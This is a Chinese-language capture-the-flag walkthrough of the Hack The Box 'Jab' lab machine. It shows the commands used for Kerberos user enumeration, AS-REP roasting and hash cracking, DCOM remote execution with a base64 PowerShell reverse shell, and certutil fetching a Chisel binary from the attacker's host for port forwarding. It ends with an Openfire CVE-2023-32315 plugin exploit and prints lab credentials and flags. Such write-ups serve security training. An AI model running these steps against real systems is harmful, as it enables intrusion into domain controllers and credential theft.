[Meachines][Medium]Jab
字数 1387 2025-08-19 12:42:09
XMPP协议渗透测试实战:Jab靶机攻防教学
环境准备
目标信息
- 靶机IP: 10.10.11.4
- 域名: DC01.jab.htb, jab.htb
- 主要服务: XMPP (端口5269)
工具安装
- Pidgin安装:
sudo apt install pidgin
Pidgin是一款支持XMPP等多种协议的跨平台即时通讯客户端。
- Kerbrute安装:
sudo apt install golang-go
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod 777 kerbrute_linux_amd64
- Impacket安装:
git clone https://github.com/fortra/impacket.git
cd impacket
sudo python3 setup.py install
- SecLists安装:
sudo apt install seclists
信息收集
初始扫描
nmap -p- 10.10.11.4 --min-rate 1000 -sV -sC
域名解析配置
将以下内容添加到/etc/hosts文件:
10.10.11.4 DC01.jab.htb jab.htb
用户枚举
方法1: Kerbrute枚举
./kerbrute_linux_amd64 userenum --dc dc01.jab.htb -d jab.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o recore.log
grep -oP '\S+(?=@jab\.htb)' recore.log | sort | uniq > User.txt
方法2: Pidgin枚举
- 启动Pidgin调试模式:
sudo pidgin -d > recore.log
- 在Pidgin中:
- Accounts -> name@jab.htb
- Search for Users -> Search Directory -> Advanced User Search (使用
*作为表达式)
- 提取用户:
grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' recore.log | sed 's/@jab.htb//g' | sort | uniq > User.txt
AS-REP Roasting攻击
获取用户哈希
GetNPUsers.py jab.htb/ -usersfile User.txt -format hashcat -outputfile hashes
哈希破解
hashcat --force -m 18200 hashes /usr/share/wordlists/rockyou.txt
成功获取凭据:
- 用户名: jmontgomery
- 密码: Midnight_121
XMPP渗透
使用Pidgin登录
- 添加账户:
- 协议: XMPP
- 用户名: jmontgomery@jab.htb
- 密码: Midnight_121
- Advanced页面: 填写靶机IP
- 勾选"创建用户"复选框并保存
获取更多凭据
- 加入聊天室查看历史记录
- 发现特权用户凭据:
- 用户名: svc_openfire
- 密码: 1qazxsw
横向移动
DCOM协议利用
dcomexec.py -object MMC20 jab.htb/svc_openfire:1qazxsw@10.10.11.4 'powershell -e <base64_encoded_payload>'
使用revshells.com生成PowerShell Base64编码的反向Shell。
获取User Flag
type c:\Users\svc_openfire\Desktop\user.txt
User Flag: 157af72bc853083562ace527d2a1c16f
权限提升
端口发现
netstat -ant | findstr LISTENING
发现9090端口运行本地Web服务。
端口转发
- 下载Chisel:
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz
gzip -d chisel_1.9.1_*.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_windows_amd64 chisel.exe
- 启动服务端:
./chisel_1.9.1_linux_amd64 server --port 9088 --reverse
- 客户端连接:
certutil.exe -urlcache -f http://<kali_ip>/chisel.exe chisel.exe
.\chisel.exe client <kali_ip>:9088 R:9090:127.0.0.1:9090
Openfire漏洞利用(CVE-2023-32315)
- 下载漏洞利用代码:
git clone https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass.git
cd CVE-2023-32315-Openfire-Bypass
sudo apt install maven
mvn clean package
- 上传插件:
- 访问http://localhost:9090
- 使用svc_openfire凭据登录
- 上传生成的
org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar
- 获取Shell:
- 访问Server -> Server Settings -> Shell Plugin
- 密码: 123
- 执行反向Shell命令
获取Root Flag
type <root_flag_path>
Root Flag: 07c41b2d1d2936af484acbc6b6c564af
关键知识点总结
- XMPP协议: 开放式的实时通信协议,常用于即时消息系统
- Kerberos攻击: AS-REP Roasting攻击无预授权用户
- DCOM协议: 微软的分布式组件对象模型,可用于远程命令执行
- Openfire漏洞: CVE-2023-32315允许认证绕过和RCE
- 端口转发: 使用Chisel进行内网端口转发
- 凭证重用: 在聊天记录中发现的凭据可用于横向移动
通过本案例,我们学习了从XMPP服务入手,通过用户枚举、AS-REP Roasting攻击、DCOM协议利用和Openfire漏洞利用等一系列技术,最终获取系统完全控制权的完整过程。